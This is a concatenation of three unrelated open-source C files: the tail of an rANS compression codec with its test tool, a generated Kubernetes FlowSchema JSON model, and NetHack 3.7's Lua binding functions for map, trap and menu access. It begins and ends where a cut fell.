&ptr, s2); RansEncPutSymbol(&rans1, &ptr, s1); RansEncPutSymbol(&rans0, &ptr, s0); l0 = c0; l1 = c1; l2 = c2; l3 = c3; } RansEncPutSymbol(&rans3, &ptr, &syms[0][l3]); RansEncPutSymbol(&rans2, &ptr, &syms[0][l2]); RansEncPutSymbol(&rans1, &ptr, &syms[0][l1]); RansEncPutSymbol(&rans0, &ptr, &syms[0][l0]); RansEncFlush(&rans3, &ptr); RansEncFlush(&rans2, &ptr); RansEncFlush(&rans1, &ptr); RansEncFlush(&rans0, &ptr); *out_size = (out_end - ptr) + tab_size; cp = out_buf; *cp++ = 1; // order *cp++ = ((*out_size-9)>> 0) & 0xff; *cp++ = ((*out_size-9)>> 8) & 0xff; *cp++ = ((*out_size-9)>>16) & 0xff; *cp++ = ((*out_size-9)>>24) & 0xff; *cp++ = (in_size>> 0) & 0xff; *cp++ = (in_size>> 8) & 0xff; *cp++ = (in_size>>16) & 0xff; *cp++ = (in_size>>24) & 0xff; memmove(out_buf + tab_size, ptr, out_end-ptr); cleanup: free(syms); free(F); free(T); return out_buf; } unsigned char *rans_uncompress_O1(unsigned char *in, unsigned int in_size, unsigned int *out_size) { /* Load in the static tables */ unsigned char *cp = in + 9; unsigned char *ptr_end = in + in_size; int i, j = -999, x, rle_i, rle_j; unsigned int out_sz, in_sz; char *out_buf = NULL; ari_decoder *D = NULL; /* D[256] */ RansDecSymbol (*syms)[256] = NULL; /* syms[256][256] */ if (in_size < 27) // Need at least this many bytes to start return NULL; if (*in++ != 1) // Order-1 check return NULL; in_sz = ((in[0])<<0) | ((in[1])<<8) | ((in[2])<<16) | ((in[3])<<24); out_sz = ((in[4])<<0) | ((in[5])<<8) | ((in[6])<<16) | ((in[7])<<24); if (in_sz != in_size-9) return NULL; // calloc may add 2% overhead to CRAM decode, but on linux with glibc it's // often the same thing due to using mmap. D = calloc(256, sizeof(*D)); if (!D) goto cleanup; syms = malloc(256 * sizeof(*syms)); if (!syms) goto cleanup; /* These memsets prevent illegal memory access in syms due to broken compressed data. As D is calloc'd, all illegal transitions will end up in either row or column 0 of syms. */ memset(&syms[0], 0, sizeof(syms[0])); for (i = 1; i < 256; i++) memset(&syms[i][0], 0, sizeof(syms[0][0])); //fprintf(stderr, "out_sz=%d\n", out_sz); //i = *cp++; rle_i = 0; i = *cp++; do { rle_j = x = 0; j = *cp++; do { int F, C; if (cp > ptr_end - 16) goto cleanup; // Not enough input bytes left if ((F = *cp++) >= 128) { F &= ~128; F = ((F & 127) << 8) | *cp++; } C = x; //fprintf(stderr, "i=%d j=%d F=%d C=%d\n", i, j, F, C); if (!F) F = TOTFREQ; RansDecSymbolInit(&syms[i][j], C, F); /* Build reverse lookup table */ if (x + F > TOTFREQ) goto cleanup; memset(&D[i].R[x], j, F); x += F; if (!rle_j && j+1 == *cp) { j = *cp++; rle_j = *cp++; } else if (rle_j) { rle_j--; j++; if (j > 255) goto cleanup; } else { j = *cp++; } } while(j); if (x < TOTFREQ-1 || x > TOTFREQ) goto cleanup; if (x < TOTFREQ) // historically we fill 4095, not 4096 D[i].R[x] = D[i].R[x-1]; if (!rle_i && i+1 == *cp) { i = *cp++; rle_i = *cp++; } else if (rle_i) { rle_i--; i++; if (i > 255) goto cleanup; } else { i = *cp++; } } while (i); // Precompute reverse lookup of frequency. RansState rans0, rans1, rans2, rans3; uint8_t *ptr = cp; if (ptr > ptr_end - 16) goto cleanup; // Not enough input bytes left RansDecInit(&rans0, &ptr); if (rans0 < RANS_BYTE_L) goto cleanup; RansDecInit(&rans1, &ptr); if (rans1 < RANS_BYTE_L) goto cleanup; RansDecInit(&rans2, &ptr); if (rans2 < RANS_BYTE_L) goto cleanup; RansDecInit(&rans3, &ptr); if (rans3 < RANS_BYTE_L) goto cleanup; int isz4 = out_sz>>2; int l0 = 0; int l1 = 0; int l2 = 0; int l3 = 0; int i4[] = {0*isz4, 1*isz4, 2*isz4, 3*isz4}; RansState R[4]; R[0] = rans0; R[1] = rans1; R[2] = rans2; R[3] = rans3; /* Allocate output buffer */ out_buf = malloc(out_sz); if (!out_buf) goto cleanup; for (; i4[0] < isz4; i4[0]++, i4[1]++, i4[2]++, i4[3]++) { uint32_t m[4] = {R[0] & ((1u << TF_SHIFT)-1), R[1] & ((1u << TF_SHIFT)-1), R[2] & ((1u << TF_SHIFT)-1), R[3] & ((1u << TF_SHIFT)-1)}; uint8_t c[4] = {D[l0].R[m[0]], D[l1].R[m[1]], D[l2].R[m[2]], D[l3].R[m[3]]}; out_buf[i4[0]] = c[0]; out_buf[i4[1]] = c[1]; out_buf[i4[2]] = c[2]; out_buf[i4[3]] = c[3]; //RansDecAdvanceSymbolStep(&R[0], &syms[l0][c[0]], TF_SHIFT); //RansDecAdvanceSymbolStep(&R[1], &syms[l1][c[1]], TF_SHIFT); //RansDecAdvanceSymbolStep(&R[2], &syms[l2][c[2]], TF_SHIFT); //RansDecAdvanceSymbolStep(&R[3], &syms[l3][c[3]], TF_SHIFT); R[0] = syms[l0][c[0]].freq * (R[0]>>TF_SHIFT); R[0] += m[0] - syms[l0][c[0]].start; R[1] = syms[l1][c[1]].freq * (R[1]>>TF_SHIFT); R[1] += m[1] - syms[l1][c[1]].start; R[2] = syms[l2][c[2]].freq * (R[2]>>TF_SHIFT); R[2] += m[2] - syms[l2][c[2]].start; R[3] = syms[l3][c[3]].freq * (R[3]>>TF_SHIFT); R[3] += m[3] - syms[l3][c[3]].start; if (ptr < ptr_end - 8) { // Each renorm reads no more than 2 bytes RansDecRenorm(&R[0], &ptr); RansDecRenorm(&R[1], &ptr); RansDecRenorm(&R[2], &ptr); RansDecRenorm(&R[3], &ptr); } else { RansDecRenormSafe(&R[0], &ptr, ptr_end); RansDecRenormSafe(&R[1], &ptr, ptr_end); RansDecRenormSafe(&R[2], &ptr, ptr_end); RansDecRenormSafe(&R[3], &ptr, ptr_end); } l0 = c[0]; l1 = c[1]; l2 = c[2]; l3 = c[3]; } // Remainder for (; i4[3] < out_sz; i4[3]++) { unsigned char c3 = D[l3].R[RansDecGet(&R[3], TF_SHIFT)]; out_buf[i4[3]] = c3; uint32_t m = R[3] & ((1u << TF_SHIFT)-1); R[3] = syms[l3][c3].freq * (R[3]>>TF_SHIFT) + m - syms[l3][c3].start; RansDecRenormSafe(&R[3], &ptr, ptr_end); l3 = c3; } *out_size = out_sz; cleanup: if (D) free(D); free(syms); return (unsigned char *)out_buf; } /*----------------------------------------------------------------------------- * Simple interface to the order-0 vs order-1 encoders and decoders. */ unsigned char *rans_compress(unsigned char *in, unsigned int in_size, unsigned int *out_size, int order) { return order ? rans_compress_O1(in, in_size, out_size) : rans_compress_O0(in, in_size, out_size); } unsigned char *rans_uncompress(unsigned char *in, unsigned int in_size, unsigned int *out_size) { /* Both rans_uncompress functions need to be able to read at least 9 bytes. */ if (in_size < 9) return NULL; return in[0] ? rans_uncompress_O1(in, in_size, out_size) : rans_uncompress_O0(in, in_size, out_size); } #ifdef TEST_MAIN /*----------------------------------------------------------------------------- * Main. * * This is a simple command line tool for testing order-0 and order-1 * compression using the rANS codec. Simply compile with * * gcc -DTEST_MAIN -O3 -I. cram/rANS_static.c -o cram/rANS_static * * Usage: cram/rANS_static -o0 < file > file.o0 * cram/rANS_static -d < file.o0 > file2 * * cram/rANS_static -o1 < file > file.o1 * cram/rANS_static -d < file.o1 > file2 */ int main(int argc, char **argv) { int opt, order = 0; unsigned char in_buf[BLK_SIZE2+257*257*3]; int decode = 0; FILE *infp = stdin, *outfp = stdout; struct timeval tv1, tv2; size_t bytes = 0; extern char *optarg; extern int optind; while ((opt = getopt(argc, argv, "o:d")) != -1) { switch (opt) { case 'o': order = atoi(optarg); break; case 'd': decode = 1; break; } } order = order ? 1 : 0; // Only support O(0) and O(1) if (optind < argc) { if (!(infp = fopen(argv[optind], "rb"))) { perror(argv[optind]); return 1; } optind++; } if (optind < argc) { if (!(outfp = fopen(argv[optind], "wb"))) { perror(argv[optind]); return 1; } optind++; } gettimeofday(&tv1, NULL); if (decode) { // Only used in some test implementations of RC_GetFreq() //RC_init(); //RC_init2(); for (;;) { uint32_t in_size, out_size; unsigned char *out; if (9 != fread(in_buf, 1, 9, infp)) break; in_size = *(int *)&in_buf[1]; if (in_size != fread(in_buf+9, 1, in_size, infp)) { fprintf(stderr, "Truncated input\n"); exit(1); } out = rans_uncompress(in_buf, in_size+9, &out_size); if (!out) abort(); fwrite(out, 1, out_size, outfp); free(out); bytes += out_size; } } else { for (;;) { uint32_t in_size, out_size; unsigned char *out; in_size = fread(in_buf, 1, BLK_SIZE, infp); if (in_size <= 0) break; out = rans_compress(in_buf, in_size, &out_size, order); fwrite(out, 1, out_size, outfp); free(out); bytes += in_size; } } gettimeofday(&tv2, NULL); fprintf(stderr, "Took %ld microseconds, %5.1f MB/s\n", (long)(tv2.tv_sec - tv1.tv_sec)*1000000 + tv2.tv_usec - tv1.tv_usec, (double)bytes / ((long)(tv2.tv_sec - tv1.tv_sec)*1000000 + tv2.tv_usec - tv1.tv_usec)); return 0; } #endif
716155.c
#include <stdlib.h> #include <string.h> #include <stdio.h> #include "v1beta1_flow_schema.h" v1beta1_flow_schema_t *v1beta1_flow_schema_create( char *api_version, char *kind, v1_object_meta_t *metadata, v1beta1_flow_schema_spec_t *spec, v1beta1_flow_schema_status_t *status ) { v1beta1_flow_schema_t *v1beta1_flow_schema_local_var = malloc(sizeof(v1beta1_flow_schema_t)); if (!v1beta1_flow_schema_local_var) { return NULL; } v1beta1_flow_schema_local_var->api_version = api_version; v1beta1_flow_schema_local_var->kind = kind; v1beta1_flow_schema_local_var->metadata = metadata; v1beta1_flow_schema_local_var->spec = spec; v1beta1_flow_schema_local_var->status = status; return v1beta1_flow_schema_local_var; } void v1beta1_flow_schema_free(v1beta1_flow_schema_t *v1beta1_flow_schema) { if(NULL == v1beta1_flow_schema){ return ; } listEntry_t *listEntry; if (v1beta1_flow_schema->api_version) { free(v1beta1_flow_schema->api_version); v1beta1_flow_schema->api_version = NULL; } if (v1beta1_flow_schema->kind) { free(v1beta1_flow_schema->kind); v1beta1_flow_schema->kind = NULL; } if (v1beta1_flow_schema->metadata) { v1_object_meta_free(v1beta1_flow_schema->metadata); v1beta1_flow_schema->metadata = NULL; } if (v1beta1_flow_schema->spec) { v1beta1_flow_schema_spec_free(v1beta1_flow_schema->spec); v1beta1_flow_schema->spec = NULL; } if (v1beta1_flow_schema->status) { v1beta1_flow_schema_status_free(v1beta1_flow_schema->status); v1beta1_flow_schema->status = NULL; } free(v1beta1_flow_schema); } cJSON *v1beta1_flow_schema_convertToJSON(v1beta1_flow_schema_t *v1beta1_flow_schema) { cJSON *item = cJSON_CreateObject(); // v1beta1_flow_schema->api_version if(v1beta1_flow_schema->api_version) { if(cJSON_AddStringToObject(item, "apiVersion", v1beta1_flow_schema->api_version) == NULL) { goto fail; //String } } // v1beta1_flow_schema->kind if(v1beta1_flow_schema->kind) { if(cJSON_AddStringToObject(item, "kind", v1beta1_flow_schema->kind) == NULL) { goto fail; //String } } // v1beta1_flow_schema->metadata if(v1beta1_flow_schema->metadata) { cJSON *metadata_local_JSON = v1_object_meta_convertToJSON(v1beta1_flow_schema->metadata); if(metadata_local_JSON == NULL) { goto fail; //model } cJSON_AddItemToObject(item, "metadata", metadata_local_JSON); if(item->child == NULL) { goto fail; } } // v1beta1_flow_schema->spec if(v1beta1_flow_schema->spec) { cJSON *spec_local_JSON = v1beta1_flow_schema_spec_convertToJSON(v1beta1_flow_schema->spec); if(spec_local_JSON == NULL) { goto fail; //model } cJSON_AddItemToObject(item, "spec", spec_local_JSON); if(item->child == NULL) { goto fail; } } // v1beta1_flow_schema->status if(v1beta1_flow_schema->status) { cJSON *status_local_JSON = v1beta1_flow_schema_status_convertToJSON(v1beta1_flow_schema->status); if(status_local_JSON == NULL) { goto fail; //model } cJSON_AddItemToObject(item, "status", status_local_JSON); if(item->child == NULL) { goto fail; } } return item; fail: if (item) { cJSON_Delete(item); } return NULL; } v1beta1_flow_schema_t *v1beta1_flow_schema_parseFromJSON(cJSON *v1beta1_flow_schemaJSON){ v1beta1_flow_schema_t *v1beta1_flow_schema_local_var = NULL; // v1beta1_flow_schema->api_version cJSON *api_version = cJSON_GetObjectItemCaseSensitive(v1beta1_flow_schemaJSON, "apiVersion"); if (api_version) { if(!cJSON_IsString(api_version)) { goto end; //String } } // v1beta1_flow_schema->kind cJSON *kind = cJSON_GetObjectItemCaseSensitive(v1beta1_flow_schemaJSON, "kind"); if (kind) { if(!cJSON_IsString(kind)) { goto end; //String } } // v1beta1_flow_schema->metadata cJSON *metadata = cJSON_GetObjectItemCaseSensitive(v1beta1_flow_schemaJSON, "metadata"); v1_object_meta_t *metadata_local_nonprim = NULL; if (metadata) { metadata_local_nonprim = v1_object_meta_parseFromJSON(metadata); //nonprimitive } // v1beta1_flow_schema->spec cJSON *spec = cJSON_GetObjectItemCaseSensitive(v1beta1_flow_schemaJSON, "spec"); v1beta1_flow_schema_spec_t *spec_local_nonprim = NULL; if (spec) { spec_local_nonprim = v1beta1_flow_schema_spec_parseFromJSON(spec); //nonprimitive } // v1beta1_flow_schema->status cJSON *status = cJSON_GetObjectItemCaseSensitive(v1beta1_flow_schemaJSON, "status"); v1beta1_flow_schema_status_t *status_local_nonprim = NULL; if (status) { status_local_nonprim = v1beta1_flow_schema_status_parseFromJSON(status); //nonprimitive } v1beta1_flow_schema_local_var = v1beta1_flow_schema_create ( api_version ? strdup(api_version->valuestring) : NULL, kind ? strdup(kind->valuestring) : NULL, metadata ? metadata_local_nonprim : NULL, spec ? spec_local_nonprim : NULL, status ? status_local_nonprim : NULL ); return v1beta1_flow_schema_local_var; end: if (metadata_local_nonprim) { v1_object_meta_free(metadata_local_nonprim); metadata_local_nonprim = NULL; } if (spec_local_nonprim) { v1beta1_flow_schema_spec_free(spec_local_nonprim); spec_local_nonprim = NULL; } if (status_local_nonprim) { v1beta1_flow_schema_status_free(status_local_nonprim); status_local_nonprim = NULL; } return NULL; }
397679.c
/* NetHack 3.7 nhlua.c $NHDT-Date: 1575246766 2019/12/02 00:32:46 $ $NHDT-Branch: NetHack-3.7 $:$NHDT-Revision: 1.16 $ */ /* Copyright (c) 2018 by Pasi Kallinen */ /* NetHack may be freely redistributed. See license for details. */ #include "hack.h" #include "dlb.h" /* #- include <lua5.3/lua.h> #- include <lua5.3/lualib.h> #- include <lua5.3/lauxlib.h> */ /* */ /* lua_CFunction prototypes */ static int FDECL(nhl_test, (lua_State *)); static int FDECL(nhl_getmap, (lua_State *)); static int FDECL(nhl_gettrap, (lua_State *)); static int FDECL(nhl_deltrap, (lua_State *)); #if 0 static int FDECL(nhl_setmap, (lua_State *)); #endif static int FDECL(nhl_pline, (lua_State *)); static int FDECL(nhl_verbalize, (lua_State *)); static int FDECL(nhl_menu, (lua_State *)); static int FDECL(nhl_getlin, (lua_State *)); static int FDECL(nhl_makeplural, (lua_State *)); static int FDECL(nhl_makesingular, (lua_State *)); static int FDECL(nhl_s_suffix, (lua_State *)); static int FDECL(nhl_ing_suffix, (lua_State *)); static int FDECL(nhl_an, (lua_State *)); static int FDECL(nhl_meta_u_index, (lua_State *)); static int FDECL(nhl_meta_u_newindex, (lua_State *)); static int FDECL(traceback_handler, (lua_State *)); void nhl_error(L, msg) lua_State *L; const char *msg; { lua_Debug ar; char buf[BUFSZ]; lua_getstack(L, 1, &ar); lua_getinfo(L, "lS", &ar); Sprintf(buf, "%s (line %i%s)", msg, ar.currentline, ar.source); lua_pushstring(L, buf); (void) lua_error(L); /*NOTREACHED*/ } /* Check that parameters are nothing but single table, or if no parameters given, put empty table there */ void lcheck_param_table(L) lua_State *L; { int argc = lua_gettop(L); if (argc < 1) lua_createtable(L, 0, 0); /* discard any extra arguments passed in */ lua_settop(L, 1); luaL_checktype(L, 1, LUA_TTABLE); } schar get_table_mapchr(L, name) lua_State *L; const char *name; { char *ter; xchar typ; ter = get_table_str(L, name); typ = check_mapchr(ter); if (typ == INVALID_TYPE) nhl_error(L, "Erroneous map char"); if (ter) free(ter); return typ; } schar get_table_mapchr_opt(L, name, defval) lua_State *L; const char *name; schar defval; { char *ter; xchar typ; ter = get_table_str_opt(L, name, emptystr); if (name && *ter) { typ = check_mapchr(ter); if (typ == INVALID_TYPE) nhl_error(L, "Erroneous map char"); } else typ = defval; if (ter) free(ter); return typ; } void nhl_add_table_entry_int(L, name, value) lua_State *L; const char *name; int value; { lua_pushstring(L, name); lua_pushinteger(L, value); lua_rawset(L, -3); } void nhl_add_table_entry_char(L, name, value) lua_State *L; const char *name; char value; { char buf[2]; Sprintf(buf, "%c", value); lua_pushstring(L, name); lua_pushstring(L, buf); lua_rawset(L, -3); } void nhl_add_table_entry_str(L, name, value) lua_State *L; const char *name; const char *value; { lua_pushstring(L, name); lua_pushstring(L, value); lua_rawset(L, -3); } void nhl_add_table_entry_bool(L, name, value) lua_State *L; const char *name; boolean value; { lua_pushstring(L, name); lua_pushboolean(L, value); lua_rawset(L, -3); } /* converting from special level "map character" to levl location type and back. order here is important. */ const struct { char ch; schar typ; } char2typ[] = { { ' ', STONE }, { '#', CORR }, { '.', ROOM }, { '-', HWALL }, { '-', TLCORNER }, { '-', TRCORNER }, { '-', BLCORNER }, { '-', BRCORNER }, { '-', CROSSWALL }, { '-', TUWALL }, { '-', TDWALL }, { '-', TLWALL }, { '-', TRWALL }, { '-', DBWALL }, { '|', VWALL }, { '+', DOOR }, { 'A', AIR }, { 'C', CLOUD }, { 'S', SDOOR }, { 'H', SCORR }, { '{', FOUNTAIN }, { '\\', THRONE }, { 'K', SINK }, { '}', MOAT }, { 'P', POOL }, { 'L', LAVAPOOL }, { 'I', ICE }, { 'W', WATER }, { 'T', TREE }, { 'F', IRONBARS }, /* Fe = iron */ { 'x', MAX_TYPE }, /* "see-through" */ { 'B', CROSSWALL }, /* hack: boundary location */ { '\0', STONE }, }; schar splev_chr2typ(c) char c; { int i; for (i = 0; char2typ[i].ch; i++) if (c == char2typ[i].ch) return char2typ[i].typ; return (INVALID_TYPE); } schar check_mapchr(s) const char *s; { if (s && strlen(s) == 1) return splev_chr2typ(s[0]); return INVALID_TYPE; } char splev_typ2chr(typ) schar typ; { int i; for (i = 0; char2typ[i].typ < MAX_TYPE; i++) if (typ == char2typ[i].typ) return char2typ[i].ch; return 'x'; } /* local t = gettrap(x,y); */ static int nhl_gettrap(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 2) { int x = (int) lua_tointeger(L, 1); int y = (int) lua_tointeger(L, 2); if (x >= 0 && x < COLNO && y >= 0 && y < ROWNO) { struct trap *ttmp = t_at(x,y); if (ttmp) { lua_newtable(L); nhl_add_table_entry_int(L, "tx", ttmp->tx); nhl_add_table_entry_int(L, "ty", ttmp->ty); nhl_add_table_entry_int(L, "ttyp", ttmp->ttyp); nhl_add_table_entry_str(L, "ttyp_name", get_trapname_bytype(ttmp->ttyp)); nhl_add_table_entry_int(L, "tseen", ttmp->tseen); nhl_add_table_entry_int(L, "madeby_u", ttmp->madeby_u); switch (ttmp->ttyp) { case SQKY_BOARD: nhl_add_table_entry_int(L, "tnote", ttmp->tnote); break; case ROLLING_BOULDER_TRAP: nhl_add_table_entry_int(L, "launchx", ttmp->launch.x); nhl_add_table_entry_int(L, "launchy", ttmp->launch.y); nhl_add_table_entry_int(L, "launch2x", ttmp->launch2.x); nhl_add_table_entry_int(L, "launch2y", ttmp->launch2.y); break; case PIT: case SPIKED_PIT: nhl_add_table_entry_int(L, "conjoined", ttmp->conjoined); break; } return 1; } else nhl_error(L, "No trap at location"); } else nhl_error(L, "Coordinates out of range"); } else nhl_error(L, "Wrong args"); return 0; } /* deltrap(x,y); */ static int nhl_deltrap(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 2) { int x = (int) lua_tointeger(L, 1); int y = (int) lua_tointeger(L, 2); if (x >= 0 && x < COLNO && y >= 0 && y < ROWNO) { struct trap *ttmp = t_at(x,y); if (ttmp) deltrap(ttmp); } } return 0; } /* local loc = getmap(x,y) */ static int nhl_getmap(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 2) { int x = (int) lua_tointeger(L, 1); int y = (int) lua_tointeger(L, 2); if (x >= 0 && x < COLNO && y >= 0 && y < ROWNO) { char buf[BUFSZ]; lua_newtable(L); /* FIXME: some should be boolean values */ nhl_add_table_entry_int(L, "glyph", levl[x][y].glyph); nhl_add_table_entry_int(L, "typ", levl[x][y].typ); nhl_add_table_entry_str(L, "typ_name", levltyp_to_name(levl[x][y].typ)); Sprintf(buf, "%c", splev_typ2chr(levl[x][y].typ)); nhl_add_table_entry_str(L, "mapchr", buf); nhl_add_table_entry_int(L, "seenv", levl[x][y].seenv); nhl_add_table_entry_bool(L, "horizontal", levl[x][y].horizontal); nhl_add_table_entry_bool(L, "lit", levl[x][y].lit); nhl_add_table_entry_bool(L, "waslit", levl[x][y].waslit); nhl_add_table_entry_int(L, "roomno", levl[x][y].roomno); nhl_add_table_entry_bool(L, "edge", levl[x][y].edge); nhl_add_table_entry_bool(L, "candig", levl[x][y].candig); nhl_add_table_entry_int(L, "has_trap", t_at(x,y) ? 1 : 0); /* TODO: FIXME: levl[x][y].flags */ lua_pushliteral(L, "flags"); lua_newtable(L); if (IS_DOOR(levl[x][y].typ)) { nhl_add_table_entry_bool(L, "nodoor", (levl[x][y].flags & D_NODOOR)); nhl_add_table_entry_bool(L, "broken", (levl[x][y].flags & D_BROKEN)); nhl_add_table_entry_bool(L, "isopen", (levl[x][y].flags & D_ISOPEN)); nhl_add_table_entry_bool(L, "closed", (levl[x][y].flags & D_CLOSED)); nhl_add_table_entry_bool(L, "locked", (levl[x][y].flags & D_LOCKED)); nhl_add_table_entry_bool(L, "trapped", (levl[x][y].flags & D_TRAPPED)); } else if (IS_ALTAR(levl[x][y].typ)) { /* TODO: bits 0, 1, 2 */ nhl_add_table_entry_bool(L, "shrine", (levl[x][y].flags & AM_SHRINE)); } else if (IS_THRONE(levl[x][y].typ)) { nhl_add_table_entry_bool(L, "looted", (levl[x][y].flags & T_LOOTED)); } else if (levl[x][y].typ == TREE) { nhl_add_table_entry_bool(L, "looted", (levl[x][y].flags & TREE_LOOTED)); nhl_add_table_entry_bool(L, "swarm", (levl[x][y].flags & TREE_SWARM)); } else if (IS_FOUNTAIN(levl[x][y].typ)) { nhl_add_table_entry_bool(L, "looted", (levl[x][y].flags & F_LOOTED)); nhl_add_table_entry_bool(L, "warned", (levl[x][y].flags & F_WARNED)); } else if (IS_SINK(levl[x][y].typ)) { nhl_add_table_entry_bool(L, "pudding", (levl[x][y].flags & S_LPUDDING)); nhl_add_table_entry_bool(L, "dishwasher", (levl[x][y].flags & S_LDWASHER)); nhl_add_table_entry_bool(L, "ring", (levl[x][y].flags & S_LRING)); } /* TODO: drawbridges, walls, ladders, room=>ICED_xxx */ lua_settable(L, -3); return 1; } else { /* TODO: return zerorm instead? */ nhl_error(L, "Coordinates out of range"); return 0; } } else { nhl_error(L, "Incorrect arguments"); return 0; } return 1; } /* pline("It hits!") */ static int nhl_pline(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) pline("%s", luaL_checkstring(L, 1)); else nhl_error(L, "Wrong args"); return 0; } /* verbalize("Fool!") */ static int nhl_verbalize(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) verbalize("%s", luaL_checkstring(L, 1)); else nhl_error(L, "Wrong args"); return 0; } /* str = getlin("What do you want to call this dungeon level?"); */ static int nhl_getlin(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) { const char *prompt = luaL_checkstring(L, 1); char buf[BUFSZ]; getlin(prompt, buf); lua_pushstring(L, buf); return 1; } nhl_error(L, "Wrong args"); return 0; } /* selected = menu("prompt", default, pickX, { "a" = "option a", "b" = "option b", ...}) pickX = 0,1,2, or "none", "one", "any" (PICK_X in code) selected = menu("prompt", default, pickX, { {key:"a", text:"option a"}, {key:"b", text:"option b"}, ... } ) */ static int nhl_menu(L) lua_State *L; { int argc = lua_gettop(L); const char *prompt; const char *defval = ""; const char *const pickX[] = {"none", "one", "any"}; /* PICK_NONE, PICK_ONE, PICK_ANY */ int pick = PICK_ONE, pick_cnt; winid tmpwin; anything any; menu_item *picks = (menu_item *) 0; if (argc < 2 || argc > 4) { nhl_error(L, "Wrong args"); return 0; } prompt = luaL_checkstring(L, 1); if (lua_isstring(L, 2)) defval = luaL_checkstring(L, 2); if (lua_isstring(L, 3)) pick = luaL_checkoption(L, 3, "one", pickX); luaL_checktype(L, argc, LUA_TTABLE); tmpwin = create_nhwindow(NHW_MENU); start_menu(tmpwin); lua_pushnil(L); /* first key */ while (lua_next(L, argc) != 0) { const char *str = ""; const char *key = ""; /* key @ index -2, value @ index -1 */ if (lua_istable(L, -1)) { lua_pushliteral(L, "key"); lua_gettable(L, -2); key = lua_tostring(L, -1); lua_pop(L, 1); lua_pushliteral(L, "text"); lua_gettable(L, -2); str = lua_tostring(L, -1); lua_pop(L, 1); /* TODO: glyph, attr, accel, group accel (all optional) */ } else if (lua_isstring(L, -1)) { str = luaL_checkstring(L, -1); key = luaL_checkstring(L, -2); } any = cg.zeroany; if (*key) any.a_char = key[0]; add_menu(tmpwin, NO_GLYPH, &any, 0, 0, ATR_NONE, str, (*defval && *key && defval[0] == key[0]) ? MENU_ITEMFLAGS_SELECTED : MENU_ITEMFLAGS_NONE); lua_pop(L, 1); /* removes 'value'; keeps 'key' for next iteration */ } end_menu(tmpwin, prompt); pick_cnt = select_menu(tmpwin, pick, &picks); destroy_nhwindow(tmpwin); if (pick_cnt > 0) { char buf[2]; buf[0] = picks[0].item.a_char; if (pick == PICK_ONE && pick_cnt > 1 && *defval && defval[0] == picks[0].item.a_char) buf[0] = picks[1].item.a_char; buf[1] = '\0'; lua_pushstring(L, buf); /* TODO: pick any */ } else { char buf[2]; buf[0] = defval[0]; buf[1] = '\0'; lua_pushstring(L, buf); } return 1; } /* makeplural("zorkmid") */ static int nhl_makeplural(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) lua_pushstring(L, makeplural(luaL_checkstring(L, 1))); else nhl_error(L, "Wrong args"); return 1; } /* makesingular("zorkmids") */ static int nhl_makesingular(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) lua_pushstring(L, makesingular(luaL_checkstring(L, 1))); else nhl_error(L, "Wrong args"); return 1; } /* s_suffix("foo") */ static int nhl_s_suffix(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) lua_pushstring(L, s_suffix(luaL_checkstring(L, 1))); else nhl_error(L, "Wrong args"); return 1; } /* ing_suffix("foo") */ static int nhl_ing_suffix(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) lua_pushstring(L, ing_suffix(luaL_checkstring(L, 1))); else nhl_error(L, "Wrong args"); return 1; } /* an("foo") */ static int nhl_an(L) lua_State *L; { int argc = lua_gettop(L); if (argc == 1) lua_pushstring(L, an(luaL_checkstring(L, 1))); else nhl_error(L, "Wrong args"); return 1; } /* get mandatory integer value from table */ int get_table_int(L, name) lua_State *L; const char *name; { int ret; lua_getfield(L, -1, name); ret = (int) luaL_checkinteger(L, -1); lua_pop(L, 1); return ret; } /* get optional integer value from table */ int get_table_int_opt(L, name, defval) lua_State *L; const char *name; int defval; { int ret = defval; lua_getfield(L, -1, name); if (!lua_isnil(L, -1)) { ret = (int) luaL_checkinteger(L, -1); } lua_pop(L, 1); return ret; } char * get_table_str(L, name) lua_State *L; const char *name; { char *ret; lua_getfield(L, -1, name); ret = dupstr(luaL_checkstring(L, -1)); lua_pop(L, 1); return ret; } /* get optional string value from table. return value must be freed by caller. */ char * get_table_str_opt(L, name, defval) lua_State *L; const char *name; char *defval; { const char *ret; lua_getfield(L, -1, name); ret = luaL_optstring(L, -1, defval); if (ret) { lua_pop(L, 1); return dupstr(ret); } lua_pop(L, 1); return NULL; } int get_table_boolean(L, name) lua_State *L; const char *name; { int ltyp; int ret = -1; lua_getfield(L, -1, name); ltyp = lua_type(L, -1); if (ltyp == LUA_TSTRING) { const char *const boolstr[] = { "true", "false", "yes", "no", NULL }; /* const int boolstr2i[] = { TRUE, FALSE, TRUE, FALSE, -1 }; */ ret = luaL_checkoption(L, -1, NULL, boolstr); /* nhUse(boolstr2i[0]); */ } else if (ltyp == LUA_TBOOLEAN) { ret = lua_toboolean(L, -1); } else if (ltyp == LUA_TNUMBER) { ret = (int) luaL_checkinteger(L, -1); if ( ret < 0 || ret > 1) ret = -1; } lua_pop(L, 1); if (ret == -1) nhl_error(L, "Expected a boolean"); return ret; } int get_table_boolean_opt(L, name, defval) lua_State *L; const char *name; int defval; { int ret = defval; lua_getfield(L, -1, name); if (lua_type(L, -1) != LUA_TNIL) { lua_pop(L, 1); return get_table_boolean(L, name); } lua_pop(L, 1); return ret; } int get_table_option(L, name, defval, opts) lua_State *L; const char *name; const char *defval; const char *const opts[]; /* NULL-terminated list */ { int ret; lua_getfield(L, -1, name); ret = luaL_checkoption(L, -1, defval, opts); lua_pop(L, 1); return ret; } /* test( { x = 123, y = 456 } ); */ static int nhl_test(L) lua_State *L; { int x, y; char *name, Player[] = "Player"; /* discard any extra arguments passed in */ lua_settop(L, 1); luaL_checktype(L, 1, LUA_TTABLE); x = get_table_int(L, "x"); y = get_table_int(L, "y"); name = get_table_str_opt(L, "name", Player); pline("TEST:{ x=%i, y=%i, name=\"%s\" }", x,y, name); free(name); return 1; } static const struct luaL_Reg nhl_functions[] = { {"test", nhl_test}, {"getmap", nhl_getmap}, #if 0 {"setmap", nhl_setmap}, #endif {"gettrap", nhl_gettrap}, {"deltrap", nhl_deltrap}, {"pline", nhl_pline}, {"verbalize", nhl_verbalize}, {"menu", nhl_menu}, {"getlin", nhl_getlin}, 